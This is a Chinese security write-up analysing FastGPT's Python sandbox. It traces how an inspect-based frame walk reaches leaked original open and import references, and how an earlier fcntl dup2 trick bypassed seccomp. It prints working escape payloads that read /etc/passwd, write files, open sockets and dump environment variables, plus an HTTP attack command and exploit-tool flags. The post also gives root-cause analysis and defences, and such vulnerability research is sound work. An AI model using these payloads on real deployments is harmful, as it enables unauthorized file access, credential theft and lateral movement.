inspect 逃逸:FastGPT 沙箱的黑名单防线为什么不可靠
一句话结论:FastGPT v4.14.8 的 Python 沙箱有四层防护(模块黑名单、AST 静态检查、open 守卫、import 守卫),但四层都是「黑名单 + 藏引用」同一个套路:黑名单漏了 inspect,AST 只拦双下划线属性不管 f_globals,两个守卫的原始引用 _original_open/_original_import 就明晃晃放在模块全局——六行 payload 即可穿透全部四层,在 v4.14.8 上达成容器内任意文件读写 + 同 Docker 网络横向移动(redis 回 PONG)的完整逃逸;这条链在官方修复 CVE-2026-32128 之后依然有效,且两代漏洞共享同一个根因。
排版说明:本文为兼容纯文本存储环境做了等价书写——代码示例中的双引号字符串统一改写为单引号;原文代码中少量字面转义序列(换行符、正则里的反斜杠元字符)改用换行符 NL 变量表示或用文字描述正则意图,不改变代码语义。
一、背景:四行代码打穿一个「承诺隔离」的沙箱
环境:Ubuntu 22.04 / Docker / Python 3.11(本地端到端验证)+ 独立 Docker 容器网络(横向移动验证)。目标版本:v4.14.7(seccomp 版)/ v4.14.8(纯 Python 防护版,2026-03-06 发布)/ main(chroot + seccomp 版)。
FastGPT 是国内用得很多的 AI Agent 平台,用户可以在工作流里直接写 Python 代码节点,平台承诺代码运行在沙箱里、跟宿主环境隔离。作者把三个版本的沙箱代码全部拉下来对比,把官方仓库里的 worker.py 原样跑起来喂 payload,最后在 Docker 容器网络里复刻 FastGPT 部署拓扑做横向验证——全部结论都是真实跑出来的。
最小逃逸 payload 只有四行:
import inspect
g = inspect.currentframe().f_back.f_globals
f = g['_original_open']('/etc/passwd')
print(f.read())
读文件、写文件、开 socket 连内网服务,全都能干。发现路径也很朴素:先看官方修 CVE-2026-32128 的 commit(2026-02-28 沙箱大重构),发现修复方式是「移除 seccomp、换成纯 Python 防护」,于是顺着新防护代码逐层看——模块黑名单、AST 检查、open 守卫、import 守卫,每层都问同一个问题:「这层防的是什么?漏了什么?」四层各有一个小漏洞,串起来就是完整逃逸。
审计方法论启示:审计沙箱别只看单层防护强不强,要看层与层之间的信任假设是不是同一个。FastGPT 的教训是:四层防护全是「黑名单 + 藏引用」一个套路,一个套路被看穿,四层一起失效。
二、FastGPT 代码沙箱的形态与版本差异
FastGPT 工作流里有「代码运行」节点(支持 Python):用户写好代码,FastGPT 把它发给一个独立的沙箱服务执行,沙箱跑在单独的 Docker 容器里。官方 docker-compose(v4.14.8)的部署拓扑里有一个关键点:sandbox 容器和 mongo、redis、minio、fastgpt 主服务全在同一个 fastgpt 网络里(fastgpt 主服务环境变量里就带着 MONGODB_URI 这类凭证、SANDBOX_URL 指向沙箱 HTTP 端点)。沙箱一旦被逃逸,横向移动的目标就在隔壁。
三个版本的隔离机制差别很大:
| 版本 | 架构 | 防护层 |
|---|---|---|
| v4.14.7(2026-02-12) | NestJS + Fastify + 内嵌 Python | 静态检测 + seccomp |
| v4.14.8(2026-03-06) | Bun + Hono + worker.py 进程池 | 纯 Python 防护(无 seccomp) |
| main(最新) | Go native 库 + Python guard | chroot + seccomp + Python 防护 |
v4.14.7 把防护逻辑写在 TypeScript 字符串常量里拼进用户代码执行,seccomp 规则限制系统调用;v4.14.8 大重构(commit 6b61359516)改成独立 Python worker 进程池,seccomp 层整个移除,换成纯 Python 的模块黑名单 + AST 检查 + open 守卫;main 又加回 Go 原生隔离库(chroot + seccomp)。
三、前代漏洞 CVE-2026-32128:fcntl 重映射 stdout
CVE-2026-32128(2026-03-11 公开,影响 v4.14.7 及之前):文件写入防护可被 fcntl 重映射 stdout 绕过。
漏洞在 v4.14.7 的 seccomp 白名单上。从镜像的 constants.ts 里直接 grep 出的真实代码:
const allowBaseSyscalls = [
// ... 一大堆
'syscall.SYS_FCNTL',
// ...
];
// 对 write 做限制:只允许写到 stdout/stderr
f.add_rule(ALLOW, 'write', Arg(0, EQ, sys.stdout.fileno()));
f.add_rule(ALLOW, 'write', Arg(0, EQ, sys.stderr.fileno()));
write 被限制成「fd 必须等于 1 或 2」,但 fcntl 在白名单里,而 fcntl 有 dup2,能把任意文件描述符重映射到 fd 1:
import fcntl
fd = os.open('/tmp/evil.txt', os.O_WRONLY | os.O_CREAT)
fcntl.dup2(fd, 1) # 把 stdout 重定向到 evil.txt
sys.stdout.write('pwned') # 满足 seccomp write(fd==1),实际写进了文件
写的时候 fd 是 1,seccomp 放行;但 fd 1 早被 dup2 指向了任意文件。更讽刺的是 seccomp 之上那层静态检测 detect_file_write_operations:它只扫描 open(、write( 这类字面关键字,而这段代码里既没有 open( 也没有 write((只有 fcntl.dup2 和 sys.stdout.write),静态扫描一扫而过。每一层都在防直接操作,没人防间接操作。
官方的修复方式不是把 SYS_FCNTL 从白名单删掉,而是把整个沙箱推倒重写:seccomp 层直接移除,fcntl 的问题「确实消失了,因为根本没有 seccomp 了」。这个决定本身不算错(seccomp 白名单靠枚举系统调用确实难维护),但新模型同样靠枚举(枚举危险模块、枚举危险属性),会不会犯同样的错?下一节就是答案。
还有一个部署层面的坑:v4.14.8 发布时官方 deploy/args.json 里 fastgpt-sandbox 镜像 tag 还指向 v4.14.7.2(seccomp 旧版)。两个镜像入口命令完全不同:v4.14.7.2 是 node projects/sandbox/dist/main.js(NestJS),v4.14.8 是 bun run src/index.ts(Bun + worker.py)。按官方 v4.14.8 compose 部署,实际拉到的还是带 CVE-2026-32128 的旧沙箱,直到 v4.14.9 模板才把 tag 更新——「发布即修复」在部署层面滞后了一个版本。审计「官方修复」不能只看代码 diff,还要看部署模板有没有跟上:代码修了但默认部署方式没换,等于没修。
四、新逃逸链:inspect 四步穿透四层防护
防护层 1:模块黑名单——漏了 inspect
worker.py 里的 _DANGEROUS_STDLIB 黑名单(frozenset)覆盖相当全:os、subprocess、shutil、pathlib、glob、tempfile、multiprocessing、threading、concurrent、ctypes、importlib、runpy、code/codeop、socket、http/urllib/ftplib/smtplib、ssl、asyncio、select、signal、pty/termios、fcntl、mmap、sqlite3、webbrowser、tkinter、gc、sys、builtins、marshal、pickle 等三十余项。防御者确实下了功夫——但没有 inspect。
inspect 是标准库里「检查存活对象、模块、调用栈」的工具,沙箱作者大概觉得它是开发工具不是攻击武器。但它恰恰是 Python 沙箱逃逸最趁手的撬棍之一:currentframe() 拿当前调用帧、f_back 顺着帧链往上摸、f_globals 直接读任意帧的全局命名空间——等于给攻击者发了张「查看沙箱内部构造」的许可证。实测 import inspect 在沙箱里直接放行,无任何拦截。
防护层 2:AST 静态检查——只盯双下划线
def _validate_user_code(code):
tree = _ast.parse(code)
for node in _ast.walk(tree):
if isinstance(node, _ast.Attribute) and node.attr == '__subclasses__':
raise RuntimeError('Access to __subclasses__ is not allowed in sandbox')
if (isinstance(node, _ast.Call) and isinstance(node.func, _ast.Name)
and node.func.id == 'getattr'
and len(node.args) >= 2
and isinstance(node.args[1], _ast.Constant)
and node.args[1].value == '__subclasses__'):
raise RuntimeError('Access to __subclasses__ is not allowed in sandbox')
直接属性访问和 getattr 动态访问各写了一个分支,看似周全,但只拦 subclasses 这一个名字。真正危险的是帧对象属性:f_back(上一个调用帧)、f_globals(那个帧所在模块的全局字典)、f_locals、f_builtins——这些全是单下划线开头,AST 检查器的拦截表里一个都没有,等于透明。作者也试过经典的 globals 路线:v4.14.8 确实也没拦 globals,但通过它只能拿到用户代码自己的受限全局(exec_globals 里没有原始引用),真正有价值的目标是 worker 模块自己的全局——必须经过帧链:currentframe() → f_back → f_globals。
防护层 3:open 守卫——原始引用裸奔
沙箱把 builtins 的 open 换成 _restricted_open,用户代码调 open 会先查调用栈,调用者文件名是 <string>(exec 执行的用户代码)就直接拒绝:
_original_open = open # 原始 open 就放在模块全局
def _restricted_open(*args, **kwargs):
stack = _tb.extract_stack()
if len(stack) >= 2:
caller_fn = stack[-2].filename or ''
if caller_fn in ('<string>', '<test>', '<module>'):
raise PermissionError('File system access is not allowed in sandbox')
return _original_open(*args, **kwargs)
问题在 _original_open = open 这行:原始引用明晃晃放在模块全局。Python 没有真正的「私有变量」,模块级变量对任何能拿到模块命名空间的人都是公开的。守卫还有一个更隐蔽的通病:调用栈检查只认文件名——如果用户代码经由第三方库间接调 open,帧文件名变成库路径,守卫照样放行。它检查的是「调用者长什么样」,而不是「操作本身危不危险」。
防护层 4:import 守卫——同样的引用泄露
_original_import = _builtins.__import__
def _safe_import(name, *args, **kwargs):
top_level = name.split('.')[0]
if top_level in _STDLIB_MODULES and top_level not in _DANGEROUS_STDLIB:
return _original_import(name, *args, **kwargs) # inspect 就是这么进来的
# 危险模块:检查调用栈,用户代码(<string>)直接触发则拒绝
...
逻辑比 open 守卫复杂:不在黑名单的 stdlib 直接放行,危险的查调用栈。但核心缺陷一模一样——_original_import 就在模块全局。一旦拿到它,整个黑名单形同虚设:_original_import('socket') 导入的是原始 socket,不经过任何检查。
说句公道话:作者确实藏过。init 之后 builtins 会被换成 _BuiltinsProxy 代理,用户代码 import builtins 拿到的是代理,访问 builtins._original_import 抛 AttributeError,dir() 里也看不到。但这只防了属性访问——逃逸链走的是 f_globals['_original_import'] 字典取值,根本不经过代理的 getattr,原始引用照样到手。藏引用的思路又失败了一次,这次是藏在了一层错误的抽象上。
exec_globals 的过滤为什么救不了场
沙箱构造受限命名空间时很用心——把 builtins 里所有单下划线开头的内部名字全部滤掉(_original_import 在列),再显式放回安全的 import 和 open:
_safe_builtins = {}
for _name in dir(_builtins):
if _name.startswith('_') and _name not in ('__name__', '__doc__', '__import__', '__build_class__'):
continue
_safe_builtins[_name] = getattr(_builtins, _name)
_safe_builtins['__import__'] = _safe_import
_safe_builtins['open'] = _restricted_open
exec_globals = {'__builtins__': _safe_builtins, 'variables': variables,
'SystemHelper': system_helper, 'print': _safe_print, 'json': json, ...}
exec(code, exec_globals)
过滤逻辑本身没问题——问题是它只保护了 exec_globals 这一个命名空间,而 _original_open/_original_import 所在的 worker 模块全局完全不在保护范围内。
六行 payload 串起四层
import inspect # 第 1 步:绕过模块黑名单(inspect 不在名单)
fr = inspect.currentframe().f_back # 第 2 步:AST 不拦单下划线属性,拿到 worker 函数帧
g = fr.f_globals # 第 3 步:读出 worker 模块全局字典
f = g['_original_open']('/etc/passwd') # 第 4 步:绕过 open 守卫(拿原始引用直接调)
imp = g['_original_import'] # 第 5 步:绕过 import 守卫(拿原始引用)
sock = imp('socket') # 第 6 步:导入 socket,黑名单失效
用户代码是 exec(code, exec_globals) 执行的,所以当前帧的 f_back 就是调用 exec 的 worker 函数(_run_task),它的 f_globals 就是 worker 模块的完整全局命名空间。每一步单独看都像无害操作,组合起来就是完整逃逸;四层防护,每一层都被同一个思路击穿:防护靠「黑名单 + 隐藏引用」,但黑名单漏了 inspect,引用又没藏好。
五、端到端验证:官方原文件、零修改
沙箱逃逸验证最怕「我搭了个模拟环境跑我的 payload」。作者直接把官方仓库 v4.14.8 的 worker.py 原文件下载下来零修改执行,通过它自己的 stdin JSON 协议通信:第一行发 init(含 allowedModules、requestLimits 字段的 JSON),等回 ready,再发 task(含 code、variables、timeoutMs 的 JSON),读回结果行。协议封装:
proc = subprocess.Popen([sys.executable, 'worker.py'],
stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True)
proc.stdin.write(json.dumps({'type': 'init', 'allowedModules': [], 'requestLimits': {}}) + NL)
proc.stdin.flush()
print(proc.stdout.readline()) # 回 {"type": "ready"}
code = NL.join(['import inspect',
'g = inspect.currentframe().f_back.f_globals',
"f = g['_original_open']('/etc/passwd')",
'data = f.read()', 'f.close()',
'def main(v):', ' return data[:200]'])
proc.stdin.write(json.dumps({'type': 'task', 'code': code, 'variables': {}, 'timeoutMs': 15000}) + NL)
(NL 代表换行符字面量。)实测结果:
- 读文件:RESULT success,codeReturn 直接回显 /etc/passwd 内容(root:x:0:0:…)。
- 写文件:payload 用
g['_original_open']('/tmp/pwned.txt', 'w')写入 PWNED,返回 written,容器里cat /tmp/pwned.txt确有其文件。 - 开 socket:
imp = g['_original_import']; sock = imp('socket')后创建 AF_INET/SOCK_STREAM 套接字成功,返回 socket ok。 - 读环境变量:
os = imp('os')后 sorted(os.environ.keys()),回显 API_SERVER_CORS_ORIGINS、AUXILIARY_VISION_MODEL 等一长串。
四件事全成:读文件、写文件、开 socket、读环境变量。官方原文件、零修改、协议照常走。
main 分支对照:main 的 Python 侧多了 audit hook(解释器层面监听 open/os/subprocess/socket 事件),外面套 Go 原生隔离(chroot + seccomp + 降权 uid 65537)。同样的 inspect 链在 main 上:文件读写照样全破(inspect 黑名单遗漏依然存在,把 _task_tmpdir 篡改成 / 后 audit hook 路径检查直接放行,再用偷到的原始引用读写文件);但 socket 被 audit hook 拦死(socket.new 事件抛 Operation not allowed)。Python 层防护在两代版本里都被文件路径击穿,真正起作用的始终是系统层兜底——v4.14.8 没兜底所以是完整逃逸,main 有 chroot 所以被限制在容器内。
v4.14.8 为什么没有系统层兜底?看它的沙箱 Dockerfile 就明白:基于 oven/bun:1-alpine,装 python3 与 util-linux,adduser -S sandbox 后 USER sandbox 降权 + prlimit 限内存,没有 chroot、没有 seccomp、没有 mount namespace 限制。防护完全押在 Python worker 身上——worker.py 被逃逸,等于容器裸奔。
六、影响面:容器网络里的横向移动
作者直接用官方发布镜像 ghcr.io/labring/fastgpt-sandbox:v4.14.8(容器内 worker.py 的 MD5 与本地验证文件完全一致),在独立 Docker 网络里搭配 redis:7.2-alpine 等容器复刻 FastGPT 的 fastgpt 网络拓扑。攻击者不需要直接操作 worker.py,走的是沙箱的 HTTP API:官方镜像暴露的 /sandbox/python 端点默认无认证(SANDBOX_TOKEN 环境变量没设置就是裸奔,官方代码里只留了一句警告日志),任何能访问 fastgpt 网络内部的容器都能直接 POST 代码。从 fg-attacker(alpine)攻击容器发起:
docker exec fg-attacker wget -qO- --post-file=/tmp/payload.json http://fg-sandbox:3000/sandbox/python
# 回 {"success":true,"data":{"codeReturn":"root:x:0:0:…"}}
- 写文件:真实写进沙箱容器 /tmp——可持久化、放工具、改配置。
- 连 redis:同网络容器名 fg-redis 直接 DNS 解析,redis 回了 PONG。FastGPT 的 redis 存会话、缓存、限流数据,无认证意味着可读敏感缓存、可写脏数据污染后续逻辑、可把限流计数清零。一个 PONG 不起眼,但它证明横向通道全通:mongo:27017、redis:6379、fastgpt-minio:9000、fastgpt:3000 四个目标全部可达。
- 读环境变量/配置:沙箱容器环境变量不多,但横向到 fastgpt 主服务后 MONGODB_URI、AES256_SECRET_KEY 都是富矿。
威胁模型要说清楚:公网攻击者不能直接打 sandbox:3000(官方 compose 没映射宿主机端口),沙箱的边界不是认证而是「没开公网端口」这层网络隔离。真正的前置条件是两类:多租户 SaaS 用户(租户间应隔离但代码跑在共享沙箱集群)与被接管的 FastGPT 管理员账号(接管后直接改工作流插 payload)。这两种场景下,逃逸都彻底打破了「用户只能跑受限代码」的假设:租户 A 能读到租户 B 的配置,管理员被接管即数据库凭证到手。
七、根因:黑名单式防护天然不可靠
两条逃逸链,一条在 seccomp 层(CVE-2026-32128 漏了 SYS_FCNTL 一个系统调用),一条在 Python 层(黑名单漏了 inspect 一个模块名 + 原始引用没藏好),看似不同,根因同一个:FastGPT 的沙箱防护是「黑名单 + 枚举」式的,而黑名单天然不可穷尽。安全取决于「列全了没有」,而列全在工程上做不到:Python 标准库 300 多个模块、系统调用 400 多个、属性与魔法方法数不清——攻击者只需找到一个漏网的,防御者需要堵住所有可能的。这个不对称性决定了黑名单防线迟早被穿透。
每一层的失误在当时看都合理:列模块黑名单时 os/subprocess/socket 都列了,inspect 这种「像开发工具」的容易漏;列属性拦截表时 subclasses 列了,f_back/f_globals 这种帧属性更难想到;藏引用时把 _original_open 藏进 builtins 过滤逻辑,但模块级变量天生就是公开的。每一层单独都合理,合在一起就是筛子。而且官方修 CVE 的方式是换了一层同样靠枚举的防护,换汤不换药,同一个信任假设(「只要把危险的列全藏好就安全」)的两次失败。
白名单对照(建议方案):
| 防护点 | 黑名单(FastGPT 现状) | 白名单(建议) |
|---|---|---|
| 模块 import | 枚举 30+ 危险模块,漏一个就破 | 只允许 math/json/re 等显式白名单,其余全拒 |
| 属性访问 | 枚举危险属性(subclasses 等),漏一个就破 | 只允许安全属性,其余全拒 |
| 原始引用 | 藏进模块全局(藏不住) | 闭包捕获,模块全局不暴露 |
| 系统调用 | 枚举 40+ 允许项,多一个就破 | 默认全拒,按需放行 |
白名单的本质是把「证明某个东西危险」反转成「证明某个东西安全」——后者在工程上可枚举、可审计。黑名单要回答「还有没有漏的?」无解;白名单只需回答「列表里的够不够用?」有明确答案。为什么还有人用黑名单?因为白名单难做:真实业务里用户代码要用 datetime、requests、os.path 这种半危险模块,得把安全用法和危险用法区分开。但安全性和工作量从来是反比——省下的枚举功夫,最后都是要还的。(FastGPT 的 _safe_import 其实已有 _allowed_modules 白名单变量,只是默认为空,实际生效的还是「stdlib 放行 + 黑名单拦截」那套。)
八、配套工具:fastgpt-sandbox-audit.py
作者把所有验证步骤整理成开源工具(github.com/qianlijaingshan/fastgpt-sandbox-audit),设计思路「先静态后动态」:
python3 fastgpt-sandbox-audit.py --check # 静态检查 worker.py 防护配置
python3 fastgpt-sandbox-audit.py --exploit # 跑完整逃逸链(读 /etc/passwd + 写文件)
python3 fastgpt-sandbox-audit.py --dump # 导出环境变量
python3 fastgpt-sandbox-audit.py --http http://sandbox:3000 # 通过 HTTP API 打远程 sandbox(默认无认证)
python3 fastgpt-sandbox-audit.py --worker /path/to/worker.py # 指定 worker 路径
--check 输出风险项:inspect 不在 _DANGEROUS_STDLIB 黑名单、AST 检查未拦截 f_globals、模块全局暴露 _original_open/_original_import、worker.py 无 seccomp(4.14.8+ 纯 Python 防护)。检测逻辑就是几个正则:匹配 _DANGEROUS_STDLIB 赋值段看里面有没有 inspect;检查 _validate_user_code 函数体内有没有 f_globals;用行首匹配找 _original_open/_original_import 是否被赋成模块级变量。--exploit 用一条 payload 同时验证读写:读 /etc/passwd 前 120 字符证明读权限,写 /tmp/pwned_by_audit.txt 证明写权限。--http 是 --exploit 的远程版,不需要本地 worker.py,直接对目标 /sandbox/python 发链。
局限性也诚实交代:1) --check 是正则,只识别已知模式,官方若把引用藏进闭包就测不出,需人工跟进;2) --exploit 需自备官方对应版本 worker.py,工具故意不内置,避免被拿去对未知目标盲打;3) --check 面向 v4.14.8 纯 Python 防护,对 main 分支会报 Python 层风险但实际有 chroot+seccomp 兜底,影响面要结合部署环境判断;4) 工具只验证「能不能逃逸」,不含逃逸后的横向利用。
九、防御建议(按优先级)
- 升级到最新版。main 的 chroot + seccomp 至少能把逃逸限制在容器内;但最新版 Python 层仍有同样问题(inspect 黑名单遗漏依旧存在),chroot 是兜底不是根治。
- 网络隔离。把 sandbox 容器从 fastgpt 网络摘出来单独放一个网络,只允许访问必要服务:compose 里定义 fastgpt 与 sandbox-only 两个网络,sandbox 只挂 sandbox-only。生产部署里 sandbox 和 mongo/redis 同网是最大放大器,真实 compose 中它们之间没有任何网络 ACL。
- 换白名单。自写沙箱时模块 import 与属性访问都走白名单(只放纯计算模块),别用黑名单。
- 别在 Python 层做安全边界。Python 的 introspection 能力太强(inspect、gc、ctypes 全是现成武器),单靠语言层防护做不扎实。真正的隔离要靠系统层(gVisor、Firecracker、bubblewrap + seccomp),Python 层只做体验限制、不做安全承诺。
十、总结
按价值排序的四个收获:
- 新逃逸链:inspect → f_back.f_globals → 原始引用。v4.14.8 上完整逃逸(任意文件读写 + 同网络横向),main 上被 chroot 限制在容器内;官方原文件端到端 + 官方镜像 HTTP API 实证,不是纸面分析。
- 部署模板滞后:v4.14.8 发布时 compose 的 sandbox tag 还指向带 CVE-2026-32128 的旧镜像,v4.14.9 才更新——审计官方修复要看代码与部署两条线。
- 版本对比启示:官方修 CVE 的方式是换防护模型而非加固原模型,但新模型犯了同一个错误;审计修复 commit 要重点看「新模型有没有继承旧模型的缺陷」,而不是只看「旧漏洞还能不能打」。
- Python 沙箱通用教训:inspect、gc、ctypes 这些 introspection 模块是 Python 沙箱逃逸的通用武器库,任何「黑名单 + 藏引用」式 Python 防护都挡不住;系统层隔离才是真正的边界。
对用 FastGPT 的人:如果你在平台里跑不信任的 Python 代码(多租户、开放注册),你的数据边界可能没你想的那么硬。对写沙箱的人:别在 Python 层跟攻击者玩捉迷藏,你藏不住。